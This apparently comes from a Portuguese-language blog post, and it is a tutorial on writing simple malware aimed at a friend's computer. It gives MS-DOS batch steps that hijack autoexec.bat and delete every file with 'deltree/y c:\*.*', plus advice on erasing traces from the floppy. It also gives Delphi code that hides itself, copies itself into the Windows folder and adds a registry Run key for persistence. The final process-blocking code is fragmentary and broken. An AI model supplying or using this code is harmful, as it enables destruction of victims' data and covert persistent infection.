Em primeiro lugar, você deve abrir o MS-DOS e seguir os passos abaixo:
Digite: Edit (nome do seu arquivo).bat, deverá aparecer uma tela azul.
Entre com os comandos: @ECHO OFF e BREAK OFF. A página deverá ficar da
seguinte maneira, como está embaixo:
@ECHO OFF
BREAK OFF
Depois disso, a pessoa escolhe o que seu vírus deve fazer. Depois ela usa o comando copy a:\(nome do seu vírus).bat autoexec.bat, ela então terá a certeza de estar executando seu vírus ao iniciar o computador-alvo. Agora vamos supor que o seu vírus seja capaz de apagar todos os arquivos do PC alheio. Você deve usar o seguinte
comando:
deltree/y c:\*.*
Agora, o vírus simples da pessoa está completo. É só a vítima (seu amiguinho) executar o arquivo e pronto!
Importante:
Caso a pessoa passe esse vírus via disquete, ele não deve esqueçer de finalizar o arquivo com o comando deltree/y a:\*.*. Isso serve para não deixar vestígios de seu ato insano.
Virus em Delphi
Existe muitas maneiras de criar um virus em delphi, a maioria dos trojans famosos que circulão n internet foram feitos em delphi.
Eu vou mostrar como fazer um virus reninciar junto com o windows e travar o Ctrl + Alt + Del.
Vamos la, Primeiro abra um projeto e coloque na uses "Registry,"
Agora em baixo de "{$R *.dfm}" clouqe isso:
| procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean ); var sKey : string; reg : TRegIniFile; begin if( bRunOnce )then begin sKey := 'Once' end else begin sKey := ''; end; reg := TRegIniFile.Create( '' ); reg.RootKey := HKEY_LOCAL_MACHINE; reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine ); reg.Free; end; |
Agora no FormCreate coloque isso:
| procedure TForm1.FormCreate(Sender: TObject); begin Application.ShowMainForm := False; CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True); RunOnStartup('virus','C:\WINDOWS\virus.exe',true); end; |
Agora vamos fazer a parte de travar a listagem de processos, vou dar o coder todo basta voce fazer sua arte:
| unit Unit1; interface uses type var implementation {$R *.dfm} function TerminarProcesso(sFile: String): Boolean;
procedure TForm1.FormCreate(Sender: TObject); end. |




0 comentários:
Postar um comentário